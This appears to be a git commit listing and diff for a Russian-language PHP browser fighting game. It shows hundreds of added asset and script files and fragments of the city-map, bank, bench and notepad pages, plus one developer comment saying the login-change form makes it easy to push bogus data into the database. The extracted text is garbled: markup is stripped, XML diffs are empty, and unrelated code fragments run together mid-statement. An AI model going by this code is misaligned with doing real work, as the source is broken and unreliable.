static/images/20.gif create mode 100644 static/images/3.gif create mode 100644 static/images/30.gif create mode 100644 static/images/33.gif create mode 100644 static/images/4.gif create mode 100644 static/images/40.gif create mode 100644 static/images/50.gif create mode 100644 static/images/8.gif create mode 100644 static/images/Mherz.gif create mode 100644 static/images/anpx.psd create mode 100644 static/images/apple-touch-icon1.png create mode 100644 static/images/apple-touch-icon2.png create mode 100644 static/images/apple-touch-icon3.png create mode 100644 static/images/apx_d4d4d4.psd create mode 100644 static/images/apxb_c8c8c8.gif create mode 100644 static/images/apxb_d4d4d4.gif create mode 100644 static/images/apxr_c8c8c8.gif create mode 100644 static/images/apxr_d4d4d4.gif create mode 100644 static/images/artefact.gif create mode 100644 static/images/b__cancel.jpg create mode 100644 static/images/b__ok.gif create mode 100644 static/images/bgc0.jpg create mode 100644 static/images/bgc1.jpg create mode 100644 static/images/bgc2.jpg create mode 100644 static/images/blink.gif create mode 100644 static/images/chatmenu.jpg create mode 100644 static/images/chatmenu.png create mode 100644 static/images/chatmenu.psd create mode 100644 static/images/chatmenu2.psd create mode 100644 static/images/chatmenu3.psd create mode 100644 static/images/clear.gif create mode 100644 static/images/clock.psd create mode 100644 static/images/clock0.png create mode 100644 static/images/clock1.png create mode 100644 static/images/clock2.png create mode 100644 static/images/clock3.png create mode 100644 static/images/clock4.png create mode 100644 static/images/clock5.png create mode 100644 static/images/clock6.png create mode 100644 static/images/clock7.png create mode 100644 static/images/clock8.png create mode 100644 static/images/clock9.png create mode 100644 static/images/clockrz.png create mode 100644 static/images/clok3_2.png create mode 100644 static/images/close2.gif create mode 100644 static/images/close_bank.gif create mode 100644 static/images/combats.png create mode 100644 static/images/copy.png create mode 100644 static/images/copy.psd create mode 100644 static/images/curse_attack.gif create mode 100644 static/images/damage.gif create mode 100644 static/images/dealer1.gif create mode 100644 static/images/defender.gif create mode 100644 static/images/design/b___.gif create mode 100644 static/images/design/b_notepad.gif create mode 100644 static/images/design/chatBtn1.gif create mode 100644 static/images/design/chatBtn10.gif create mode 100644 static/images/design/chatBtn11.gif create mode 100644 static/images/design/chatBtn12.gif create mode 100644 static/images/design/chatBtn13.gif create mode 100644 static/images/design/chatBtn14.gif create mode 100644 static/images/design/chatBtn15.gif create mode 100644 static/images/design/chatBtn16.gif create mode 100644 static/images/design/chatBtn17.gif create mode 100644 static/images/design/chatBtn18.gif create mode 100644 static/images/design/chatBtn19.gif create mode 100644 static/images/design/chatBtn2.gif create mode 100644 static/images/design/chatBtn20.gif create mode 100644 static/images/design/chatBtn21.gif create mode 100644 static/images/design/chatBtn3.gif create mode 100644 static/images/design/chatBtn4.gif create mode 100644 static/images/design/chatBtn5.gif create mode 100644 static/images/design/chatBtn6.gif create mode 100644 static/images/design/chatBtn7.gif create mode 100644 static/images/design/chatBtn8.gif create mode 100644 static/images/design/chatBtn80.gif create mode 100644 static/images/design/chatBtn9.gif create mode 100644 static/images/design/chat_bg.gif create mode 100644 static/images/design/chat_bg_2.jpg create mode 100644 static/images/design/chat_explode.gif create mode 100644 static/images/design/lite/1/cap_lit_21.gif create mode 100644 static/images/design/lite/1/top_lite_cap_01.gif create mode 100644 static/images/design/lite/1/top_lite_cap_08.gif create mode 100644 static/images/design/lite/1/top_lite_cap_11.gif create mode 100644 static/images/design/lite/_lit_20.gif create mode 100644 static/images/design/lite/_lit_27.gif create mode 100644 static/images/design/lite/_mid_31.png create mode 100644 static/images/design/lite/_top_20s.gif create mode 100644 static/images/design/lite/_top_24.gif create mode 100644 static/images/design/lite/_top_28.gif create mode 100644 static/images/design/lite/abandonedplain/cap_lit_21.gif create mode 100644 static/images/design/lite/abandonedplain/top_lite_cap_01.gif create mode 100644 static/images/design/lite/abandonedplain/top_lite_cap_08.gif create mode 100644 static/images/design/lite/abandonedplain/top_lite_cap_11.gif create mode 100644 static/images/design/lite/angelscity/top_lite_cap_01.gif create mode 100644 static/images/design/lite/angelscity/top_lite_cap_03.gif create mode 100644 static/images/design/lite/angelscity/top_lite_cap_07.gif create mode 100644 static/images/design/lite/angelscity/top_lite_cap_08.gif create mode 100644 static/images/design/lite/angelscity/top_lite_cap_11.gif create mode 100644 static/images/design/lite/angelscity/top_lite_cap_21.gif create mode 100644 static/images/design/lite/bkf_l_r1_02.gif create mode 100644 static/images/design/lite/bkf_l_r1_06.gif create mode 100644 static/images/design/lite/dungeon/top_lite_cap_08.gif create mode 100644 static/images/design/lite/mennu112_04_lite.gif create mode 100644 static/images/design/lite/mennu112_06.gif create mode 100644 static/images/design/lite/mennu112_06_lite.gif create mode 100644 static/images/design/lite/mennu112_09.gif create mode 100644 static/images/design/lite/newcapitalcity/cap_lit_21.gif create mode 100644 static/images/design/lite/newcapitalcity/mennu112_04_lite.gif create mode 100644 static/images/design/lite/newcapitalcity/mennu112_06_lite.gif create mode 100644 static/images/design/lite/newcapitalcity/nwc_lit_21.gif create mode 100644 static/images/design/lite/newcapitalcity/sand_lit_20.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_cap_01.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_cap_07.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_cap_08.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_cap_11.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_devils_13.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_devils_15.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_dream_13.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_dream_15.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_dream_18.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_newcap_03.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_newcap_07.gif create mode 100644 static/images/design/lite/newcapitalcity/top_lite_newcap_08.gif create mode 100644 static/images/design/lite/oldcity/top_lite_cap_01.gif create mode 100644 static/images/design/lite/oldcity/top_lite_cap_03.gif create mode 100644 static/images/design/lite/oldcity/top_lite_cap_07.gif create mode 100644 static/images/design/lite/oldcity/top_lite_cap_08.gif create mode 100644 static/images/design/lite/oldcity/top_lite_cap_11.gif create mode 100644 static/images/design/lite/oldcity/top_lite_dream_03.gif create mode 100644 static/images/design/lite/oldcity/top_lite_dream_11.gif create mode 100644 static/images/design/lite/oldcity/top_lite_old_01.gif create mode 100644 static/images/design/lite/oldcity/top_lite_old_07.gif create mode 100644 static/images/design/lite/oldcity/top_lite_old_08.gif create mode 100644 static/images/design/lite/sand_top_24.gif create mode 100644 static/images/design/lite/top_lite_13.gif create mode 100644 static/images/design/lite/top_lite_18.gif create mode 100644 static/images/design/lite/top_lite_cap_03.gif create mode 100644 static/images/design/lite/top_lite_cap_07.gif create mode 100644 static/images/design/lite/top_lite_cap_15.gif create mode 100644 static/images/design/lite/top_lite_low_15.gif create mode 100644 static/images/design/lite/top_lite_old_07.gif create mode 100644 static/images/desteny.gif create mode 100644 static/images/desteny0.gif create mode 100644 static/images/draw.gif create mode 100644 static/images/favicon.ico create mode 100644 static/images/fighttype0.gif create mode 100644 static/images/fighttype1.gif create mode 100644 static/images/fighttype10.gif create mode 100644 static/images/fighttype11.gif create mode 100644 static/images/fighttype2.gif create mode 100644 static/images/fighttype20.gif create mode 100644 static/images/fighttype2_.gif create mode 100644 static/images/fighttype3.gif create mode 100644 static/images/fighttype4.gif create mode 100644 static/images/fighttype6.gif create mode 100644 static/images/fighttype7.gif create mode 100644 static/images/fighttype9.gif create mode 100644 static/images/fighttypehidden0.gif create mode 100644 static/images/fightype1_.gif create mode 100644 static/images/flag.gif create mode 100644 static/images/forgot-password/background.png create mode 100644 static/images/fsleeps0.gif create mode 100644 static/images/fsleeps1.gif create mode 100644 static/images/g0.gif create mode 100644 static/images/g1.gif create mode 100644 static/images/glow_pink.gif create mode 100644 static/images/herz.gif create mode 100644 static/images/hidden.gif create mode 100644 static/images/hp.jpg create mode 100644 static/images/hp2.jpg create mode 100644 static/images/i_marry.gif create mode 100644 static/images/ico_change.gif create mode 100644 static/images/ico_clear_log.gif create mode 100644 static/images/ico_refresh.gif create mode 100644 static/images/index_page/18+.png create mode 100644 static/images/index_page/bottom_menu.png create mode 100644 static/images/index_page/button.png create mode 100644 static/images/index_page/button_blank.gif create mode 100644 static/images/index_page/button_hover.png create mode 100644 static/images/index_page/button_pressed.png create mode 100644 static/images/index_page/login_background.png create mode 100644 static/images/index_page/logo.png create mode 100644 static/images/index_page/top_button.png create mode 100644 static/images/index_page/top_button_hover.png create mode 100644 static/images/index_page/top_button_pressed.png create mode 100644 static/images/index_page/top_menu.png create mode 100644 static/images/inf.gif create mode 100644 static/images/inf.psd create mode 100644 static/images/itm_ico.psd create mode 100644 static/images/klav_transparent.gif create mode 100644 static/images/lead1.gif create mode 100644 static/images/links.gif create mode 100644 static/images/loader.gif create mode 100644 static/images/lock.gif create mode 100644 static/images/lock.psd create mode 100644 static/images/lock1.gif create mode 100644 static/images/lock2.gif create mode 100644 static/images/lock3.gif create mode 100644 static/images/lock4.gif create mode 100644 static/images/logo/290x187.png create mode 100644 static/images/logome1.png create mode 100644 static/images/logome1.psd create mode 100644 static/images/looses.gif create mode 100644 static/images/mail1.gif create mode 100644 static/images/mail2.gif create mode 100644 static/images/minus.gif create mode 100644 static/images/mlch.gif create mode 100644 static/images/new_msg100.png create mode 100644 static/images/offline.gif create mode 100644 static/images/oico1.png create mode 100644 static/images/oico2.png create mode 100644 static/images/oico3.png create mode 100644 static/images/oico4.png create mode 100644 static/images/plus.gif create mode 100644 static/images/podarok.gif create mode 100644 static/images/ready.gif create mode 100644 static/images/register/18.png create mode 100644 static/images/register/background.png create mode 100644 static/images/register/border.png create mode 100644 static/images/register/bottom_menu.png create mode 100644 static/images/register/button.png create mode 100644 static/images/register/button_hover.png create mode 100644 static/images/register/button_pressed.png create mode 100644 static/images/register/gear.png create mode 100644 static/images/sleep2.gif create mode 100644 static/images/sleeps0.gif create mode 100644 static/images/stack.gif create mode 100644 static/images/travma11.gif create mode 100644 static/images/travma2.gif create mode 100644 static/images/undrhpmp.jpg create mode 100644 static/images/unstack.gif create mode 100644 static/images/up.gif create mode 100644 static/images/vip2.gif create mode 100644 static/images/wins.gif create mode 100644 static/scripts/ZeroClipboard.js create mode 100644 static/scripts/base.js create mode 100644 static/scripts/buttons-engine.js create mode 100644 static/scripts/buttons-reline.js create mode 100644 static/scripts/chat-engine.js create mode 100644 static/scripts/chat-engine_0.js create mode 100644 static/scripts/core.js create mode 100644 static/scripts/jquery-ui.js create mode 100644 static/scripts/jquery.js create mode 100644 static/scripts/jquery.min.js create mode 100644 static/scripts/jquery.proto.js create mode 100644 static/scripts/jquery.qtip.js create mode 100644 static/scripts/jquery.times.js create mode 100644 static/scripts/plugins.js create mode 100644 static/scripts/user.js create mode 100644 static/scripts/windows-engine.js create mode 100644 static/styles/acomplete.css create mode 100644 static/styles/buttons-css.css create mode 100644 static/styles/buttons-v-h-line.css create mode 100644 static/styles/core.css create mode 100644 static/styles/forgot-password.css create mode 100644 static/styles/images/ui-bg_flat_0_aaaaaa_40x100.png create mode 100644 static/styles/images/ui-bg_flat_75_ffffff_40x100.png create mode 100644 static/styles/images/ui-bg_glass_55_fbf9ee_1x400.png create mode 100644 static/styles/images/ui-bg_glass_65_ffffff_1x400.png create mode 100644 static/styles/images/ui-bg_glass_75_dadada_1x400.png create mode 100644 static/styles/images/ui-bg_glass_75_e6e6e6_1x400.png create mode 100644 static/styles/images/ui-bg_glass_95_fef1ec_1x400.png create mode 100644 static/styles/images/ui-bg_highlight-soft_75_cccccc_1x100.png create mode 100644 static/styles/images/ui-icons_222222_256x240.png create mode 100644 static/styles/images/ui-icons_2e83ff_256x240.png create mode 100644 static/styles/images/ui-icons_454545_256x240.png create mode 100644 static/styles/images/ui-icons_888888_256x240.png create mode 100644 static/styles/images/ui-icons_cd0a0a_256x240.png create mode 100644 static/styles/index.css create mode 100644 static/styles/jquery-ui.css create mode 100644 static/styles/jquery.qtip.css create mode 100644 static/styles/library-css.css create mode 100644 static/styles/main-css.css create mode 100644 static/styles/main.css create mode 100644 static/styles/mod/inventory-css.css create mode 100644 static/styles/register.css create mode 100644 static/styles/users-info.css create mode 100644 static/styles/windows-css.css create mode 100644 store/.htaccess1 create mode 100644 store/CHANGES.md create mode 100644 store/adapters/jquery.js create mode 100644 store/build-config.js create mode 100644 store/city/img/hram1.png create mode 100644 store/city/img/hram2.gif create mode 100644 store/city/img/hram3.png create mode 100644 store/city/img/index.php create mode 100644 store/city/index.php create mode 100644 store/ckeditor.js create mode 100644 store/config.js create mode 100644 store/contents.css create mode 100644 store/css/_notes/dwsync.xml create mode 100644 store/css/index.php create mode 100644 store/css/samples.css create mode 100644 store/css/style.css create mode 100644 store/error.txt create mode 100644 store/images/back_yellow.gif create mode 100644 store/images/bottom.gif create mode 100644 store/images/bottom.jpg create mode 100644 store/images/deviz.bmp create mode 100644 store/images/deviz.gif create mode 100644 store/images/flag_dark.gif create mode 100644 store/images/flag_haos.gif create mode 100644 store/images/flag_light.gif create mode 100644 store/images/header_bg.jpg create mode 100644 store/images/icon_artefact.gif create mode 100644 store/images/icon_autors.gif create mode 100644 store/images/icon_body.gif create mode 100644 store/images/icon_comment.gif create mode 100644 store/images/icon_credit.gif create mode 100644 store/images/icon_dark.gif create mode 100644 store/images/icon_epos.gif create mode 100644 store/images/icon_eurocredit.gif create mode 100644 store/images/icon_gorods.gif create mode 100644 store/images/icon_haos.gif create mode 100644 store/images/icon_logo.gif create mode 100644 store/images/icon_logo.jpg create mode 100644 store/images/icon_logo.png create mode 100644 store/images/icon_monstr.gif create mode 100644 store/images/icon_paladin.gif create mode 100644 store/images/icon_paladin1.gif create mode 100644 suppormoder.php create mode 100644 supportemail.php create mode 100644 tab.php create mode 100644 tab.png create mode 100644 test.php create mode 100644 test_cr.php create mode 100644 test_stats.php create mode 100644 testbattle.html create mode 100644 tmp/10133.btl create mode 100644 tmp/10259.btl create mode 100644 tmp/10443.btl create mode 100644 tmp/10467.btl create mode 100644 tmp/10468.btl create mode 100644 tmp/10511.btl create mode 100644 tmp/10559.btl create mode 100644 tmp/10742.btl create mode 100644 tmp/10789.btl create mode 100644 tmp/10872.btl create mode 100644 tmp/10901.btl create mode 100644 tmp/11010.btl create mode 100644 tmp/11038.btl create mode 100644 tmp/11117.btl create mode 100644 tmp/11263.btl create mode 100644 tmp/chat.txt create mode 100644 tmp/pma.php create mode 100644 top.html create mode 100644 top.php create mode 100644 top_menu.php create mode 100644 top_panel.php create mode 100644 top_ref.php create mode 100644 topbonus.php create mode 100644 tournir.php create mode 100644 tower.php create mode 100644 towerin.php create mode 100644 towerlog.php create mode 100644 towerstamp.php create mode 100644 ul_clan.php create mode 100644 ul_clans.php create mode 100644 underdesigns/alchcave/cw1.gif create mode 100644 underdesigns/alchcave/cw17.gif create mode 100644 underdesigns/alchcave/cw2.gif create mode 100644 underdesigns/alchcave/cw27.gif create mode 100644 underdesigns/alchcave/cw3.gif create mode 100644 underdesigns/alchcave/cw4.gif create mode 100644 underdesigns/alchcave/lsw0.gif create mode 100644 underdesigns/alchcave/lsw073.gif create mode 100644 underdesigns/alchcave/lsw1.gif create mode 100644 underdesigns/alchcave/lsw173.gif create mode 100644 underdesigns/alchcave/lsw2.gif create mode 100644 underdesigns/alchcave/lsw3.gif create mode 100644 underdesigns/alchcave/lw1.gif create mode 100644 underdesigns/alchcave/lw2.gif create mode 100644 underdesigns/alchcave/lw3.gif create mode 100644 underdesigns/alchcave/lw4.gif create mode 100644 underdesigns/alchcave/podzem.jpg create mode 100644 underdesigns/alchcave/rn5.gif create mode 100644 underdesigns/alchcave/rsw0.gif create mode 100644 underdesigns/alchcave/rsw073.gif create mode 100644 underdesigns/alchcave/rsw1.gif create mode 100644 underdesigns/alchcave/rsw173.gif create mode 100644 underdesigns/alchcave/rsw2.gif create mode 100644 underdesigns/alchcave/rsw3.gif create mode 100644 underdesigns/alchcave/rw1.gif create mode 100644 underdesigns/alchcave/rw2.gif create mode 100644 underdesigns/alchcave/rw3.gif create mode 100644 underdesigns/alchcave/rw4.gif create mode 100644 underground/connect.php create mode 100644 underground/objects/621.php create mode 100644 underground/objects/621/1.php create mode 100644 underground/objects/621/2.php create mode 100644 underground/objects/621/3.php create mode 100644 underground/objects/621/4.php create mode 100644 upgrade_items.php create mode 100644 upload.php create mode 100644 upload/ajaxupload.php create mode 100644 upload/index.php create mode 100644 upload/js/jquery-1.11.3-jquery.min.js create mode 100644 upload/js/script.js create mode 100644 upload/no-image.jpg create mode 100644 upload/style.css create mode 100644 upload/uploads/fg1.gif create mode 100644 user_anketa.php create mode 100644 user_gifts.php create mode 100644 users_online.php create mode 100644 vip.php create mode 100644 vxod.php create mode 100644 wall_build.php create mode 100644 whoimin.php create mode 100644 zamok.php create mode 100644 zavis.php create mode 100644 zayavka.php create mode 100644 znahar.php diff --git a/.idea/battles-game.iml b/.idea/battles-game.iml new file mode 100644 index 0000000..940f6f9 --- /dev/null +++ b/.idea/battles-game.iml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/.idea/composerJson.xml b/.idea/composerJson.xml new file mode 100644 index 0000000..4199499 --- /dev/null +++ b/.idea/composerJson.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..d2da70c --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..35eb1dd --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/.idea/workspace.xml b/.idea/workspace.xml new file mode 100644 index 0000000..c60bf09 --- /dev/null +++ b/.idea/workspace.xml @@ -0,0 +1,280 @@ + + + + + + + + + + + + + + true + DEFINITION_ORDER + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \"{$des}\""; + } + function buildset1($id,$img,$top,$left,$des) { + //$imga = ImageCreateFromGif("i/city/sub/".$img.".png"); + #Get image width / height + //$x = ImageSX($imga); + //$y = ImageSY($imga); + unset($imga); + echo "
\"{$des}\"
"; + } + if ($user['room'] == 20) { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_cp_day'; + $fon = 'vesna_cap_cp_day'; + //$fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_cp_night'; + $fon = 'vesna_cap_cp_night'; + //$fon2 = 'snow_transp'; + } + echo "
\"\""; + //echo "
\"\""; + //buildset(1,"vesna_cap_club",30,235,"Бойцовский Клуб"); + buildset(1,"vesna_cap_club",30,235,"Бойцовский Клуб"); + // buildset(2,"vesna_cap_shop",202,171,"Магазин"); + buildset(2,"vesna_cap_shop",202,171,"Магазин"); + //buildset(3,"vesna_cap_kom",205,105,"Комиссионный магазин"); + buildset(3,"vesna_cap_kom",205,105,"Комиссионный магазин"); + // buildset(4,"vesna_cap_rem",202,290,"Ремонтная мастерская");; + buildset(4,"vesna_cap_rem",202,290,"Ремонтная мастерская");; + buildset(13,"vesna_cap_statue",222,365,"Памятник Мэру Города"); + //buildset(5,"2pm",210,430,"Памятник"); + //buildset(6,"vesna_cap_po4ta",180,540,"Почта"); + buildset(6,"vesna_cap_po4ta",180,540,"Почта"); + //buildset(7,"arr_right_png",260,710,"Страшилкина Улица"); + buildset(7,"arr_right_png",260,710,"Страшилкина Улица"); + //buildset(222,"cp_u2_png",180,650,"Торговая улица"); + buildset(222,"cp_u2_png",180,650,"Торговая улица"); + //buildset(8,"arr_left_png",258,21,"Большая парковая улица"); + buildset(8,"arr_left_png",258,21,"Большая парковая улица"); + //buildset(12,"vesna_cap_berezka",205,435,"Березка"); + buildset(17,"vesna_cap_berezka",205,435,"Березка"); + //buildset(11,"vesna_cap_loto",230,615,"Лотерея Сталкера"); + buildset(11,"vesna_cap_loto",230,615,"Лотерея Сталкера"); +//buildset1(9,"tree2",133,320,"Новогодняя елка"); + //buildset(14,"sneg_3",210,390,"Снеговик"); + //buildset(111,"vesna_cap_stella",260,530,"Доска объявления"); + buildset(111,"zima_stella",260,530,"Доска объявления"); + + + echo "
"; + } + //buildset(9,"fir",137,235,"Новогодняя елка"); + elseif ($user['room'] == 21) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_strash_day'; + $fon = 'vesna_cap_strash_day'; + //$fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_strash_night'; + $fon = 'vesna_cap_strash_night'; + //$fon2 = 'snow_transp'; + } + echo "
\"\""; + //echo "
\"\""; + //buildset(5,"vesna_cap_bank",180,485,"Банк");; + buildset(5,"vesna_cap_bank",180,485,"Банк");; + //buildset(2,"vesna_cap_registratura",170,113,"Регистратура кланов"); + buildset(14,"vesna_cap_registratura",170,113,"Регистратура кланов"); + //buildset(7,"vesna_cap_tower",5,315,"Башня смерти"); + buildset(16,"vesna_cap_tower",5,315,"Башня смерти"); + //buildset(16555,"tree_png",165,20,"Дерево"); + buildset(16555,"tree_png",165,20,"Дерево"); + //buildset(3,"arr_right_png",255,708,"Ристалище"); + buildset(3,"arr_right_png",255,708,"Ристалище"); + //buildset(3,"2strelka",250,720,"Берег залива"); + //buildset(6,"vesna_cap_flowershop",220,613,"Цветочный магазин"); + buildset(13,"vesna_cap_flowershop",220,613,"Цветочный магазин"); + //buildset(4,"arr_left_png",258,21,"Центральная площадь"); + buildset(4,"arr_left_png",258,21,"Центральная площадь"); + //buildset(22,"obshga",150,630,"Общежитие"); + echo "
"; + } + elseif ($user['room'] == 26) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_park_day'; + $fon = 'vesna_cap_park_day'; + //$fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_park_night'; + $fon = 'vesna_cap_park_night'; + //$fon2 = 'snow_transp'; + } + echo "' . + '' . + ''; + if($ratingCount > 0){ + $i = 1; + while($row = mysql_fetch_assoc($getRating)){ + echo'' . + '' . + '' . + '' . + ''; + } + echo'' . + '' . + '' . + '' . + '' . + '' . + ''; + }else{ + echo '' . + '' . + ''; + } + echo'
\"\""; + //echo "
\"\""; + //buildset(6,"cap_gate",170,340,"Городские ворота"); + buildset(6,"cap_gate",170,340,"Городские ворота"); + //buildset(444,"vesna_cap_vokzal",163,43,"Вокзал"); + buildset(660,"vesna_cap_vokzal",163,43,"Общежитие"); + //buildset(5,"vesna_cap_znah",195,538,"Хижина Знахаря"); + buildset(5,"vesna_cap_znah",195,538,"Хижина Знахаря"); + //buildset(20,"vesna_cap_2sk",249,416,"Средняя скамейка"); + buildset(21,"vesna_cap_2sk",249,416,"Средняя скамейка"); + //buildset(18,"vesna_cap_3sk",250,630,"Большая скамейка"); + buildset(20,"vesna_cap_3sk",250,630,"Большая скамейка"); + //buildset(20,"vesna_cap_1sk",228,490,"Маленькая скамейка"); + buildset(22,"vesna_cap_1sk",228,490,"Маленькая скамейка"); +// //buildset(7,"ava_vokzal",160,235,"Общежитие"); + //buildset(11,"loto_stalkers",240,160,"Лотерея Сталкеров"); + //buildset(3,"arr_left_png",259,27,"Замковая площядь"); + buildset(3,"arr_left_png",259,27,"Замковая площядь"); + //buildset(4,"arr_right_png",259,715,"Центральная площадь"); + buildset(4,"arr_right_png",259,715,"Центральная площадь"); + echo "
"; + } + + + elseif ($user['room'] == 2601) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_park_day'; + $fon = 'vesna_cap_park_day'; + //$fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_zamk_night'; + $fon = 'vesna_cap_zamk_night'; + //$fon2 = 'snow_transp'; + } + echo " + + + + +
\"\""; + //echo "
\"\""; + //buildset(21,"vesna_cap_lavka",240,425,"Храмовая лавка"); + buildset(1052,"vesna_cap_lavka",240,425,"Храмовая лавка"); + buildset(10,"ava_post",240,300,"Сувенирный магазинчик"); + //buildset(1,"vesna_cap_ruins",166,48,"Руины Старого замка"); + buildset(1,"vesna_cap_ruins",166,48,"Руины Старого замка"); + //buildset(5,"vesna_cap_lab",130,327,"Вход в Лабиринт Хаоса"); + buildset(1051,"vesna_cap_lab",130,327,"Вход в Лабиринт Хаоса"); + //buildset(44,"vesna_cap_hram",173,550,"Храм Древних"); + buildset(44,"vesna_cap_hram",173,550,"Храм Древних"); + //buildset(227,"arr_left_png",258,21,"Арена Богов"); + buildset(55,"arr_left_png",258,21,"Арена Богов"); + //buildset(4,"arr_right_png",260,710,"Большая парковая улица"); + buildset(4,"arr_right_png",260,710,"Большая парковая улица"); + echo "
"; + } + + elseif ($user['room'] == 2655) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_park_day'; + $fon = 'ar_e_n'; + //$fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_zamk_night'; + $fon = 'ar_e_n'; + //$fon2 = 'snow_transp'; + } + echo " + + Комиссия составит 3% от переводимой суммы, но не менее 1 кр. + + + +
+ Обменять екр. на кр. + Курс обмена: 1 екр. = 100 кр.
+
+ Сумма екр. для обмена + +
+
+ Обменять кр. на екр. + Курс обмена: 500 кр. = 1 екр.
+
+ Сумма кр. для обмена + +
+ +
+ Смена логина + Стоимость услуги: екр.
+
+ Новый логин : + + Я предлагаю отказаться от этой услуги и если что-то и менять, то по старинке. Загнать отсюда что-то левое в базу — раз плюнуть. +
+ + + + + + \ No newline at end of file diff --git a/bankekr.php b/bankekr.php new file mode 100644 index 0000000..48e170c --- /dev/null +++ b/bankekr.php @@ -0,0 +1,10 @@ + + + + Банк + + + +Не работает! + + \ No newline at end of file diff --git a/battle.php b/battle.php new file mode 100644 index 0000000..9c15342 --- /dev/null +++ b/battle.php @@ -0,0 +1,275 @@ + + +Бойцовский Клуб + + + + + \ No newline at end of file diff --git a/bench.php b/bench.php new file mode 100644 index 0000000..8f46f9e --- /dev/null +++ b/bench.php @@ -0,0 +1,45 @@ + + + + + + + + + + + + +
Скамейка
+

+Если вы устали от шума боев и суеты центральных улиц, вы можете отдохнуть на скамейке под тенью
парковых деревьев...


+Здесь можно, уединившись, подумать о вечном, назначить романтическое свидание или просто спокойно поболтать. +
Если только местные хулиганы не помешают вам... + + diff --git a/bench_m.php b/bench_m.php new file mode 100644 index 0000000..71b48c1 --- /dev/null +++ b/bench_m.php @@ -0,0 +1,28 @@ + + + + + + + + + + + +
Скамейка
+
+
+ + +
+
+
+ Если вы устали от шума боев и суеты центральных улиц, вы можете отдохнуть на скамейке под тенью
парковых деревьев...


+ Здесь можно, уединившись, подумать о вечном, назначить романтическое свидание или просто спокойно поболтать. +
Если только местные хулиганы не помешают вам... + + diff --git a/bench_s.php b/bench_s.php new file mode 100644 index 0000000..8f46f9e --- /dev/null +++ b/bench_s.php @@ -0,0 +1,45 @@ + + + + + + + + + + + + +
Скамейка
+

+Если вы устали от шума боев и суеты центральных улиц, вы можете отдохнуть на скамейке под тенью
парковых деревьев...


+Здесь можно, уединившись, подумать о вечном, назначить романтическое свидание или просто спокойно поболтать. +
Если только местные хулиганы не помешают вам... + + diff --git a/blocknote.php b/blocknote.php new file mode 100644 index 0000000..0d1248e --- /dev/null +++ b/blocknote.php @@ -0,0 +1,71 @@ +Возможности

'; +#echo 'Вход в Излом Хаоса - '; +if(time()-259200 > strtotime($uss['date_out'])) { +#echo "доступен
"; +} else { +$timer=strtotime($uss['date_out'])-time()+259200; + +echo 'до след. похода ' . $timer . ' сек

'; +} +$uss2 = mysql_query("SELECT `id`, `datetime` FROM `turnament` ORDER BY `datetime` DESC LIMIT 1;"); +$i=0; +while($val = mysql_fetch_array($uss2)) { +#echo 'Ближайший турнир в БС - ' . strftime('%d %b %Y, %H:%M', $val[++$i]) . '
'; +#echo '
'; +#echo time(); +} +?> + + function cityg(){ + location.href='blocknote.php'; + } + setTimeout('cityg()', 1000); + +



+ Записываем... +
+ "); + +} +?> + + + + + + + + + + + +
+ +

+
+Блокнот ( 180 слов макс.) +
\"\""; + //echo "
\"\""; + //buildset(21,"vesna_cap_lavka",240,425,"Храмовая лавка"); + buildset(2055,"altr_g",230,340,"Арена Ангелов"); + buildset(2222,"zima_cap_stop",258,21,"Проход закрыт"); + buildset(10,"arr_right_png",260,710,"Замковая площадь"); + echo "
"; + } + + elseif ($user['room'] == 2111) + { + if((int)date("H") > 5 && (int)date("H") < 22) { + //$fon = 'vesna_cap_bg_d2'; + $fon = 'vesna_cap_bg_d2'; + //$fon2 = 'snow_transp'; + } else { + //$fon = 'vesna_cap_bg_n2'; + $fon = 'vesna_cap_bg_n2'; + //$fon2 = 'snow_transp'; + } + echo " +
Внимание! Нажав на кнопку с профессией, с вашего счета мгновенно будет списана ее стоимость. Будьте внимательны!
+ +
\"\""; + //echo "
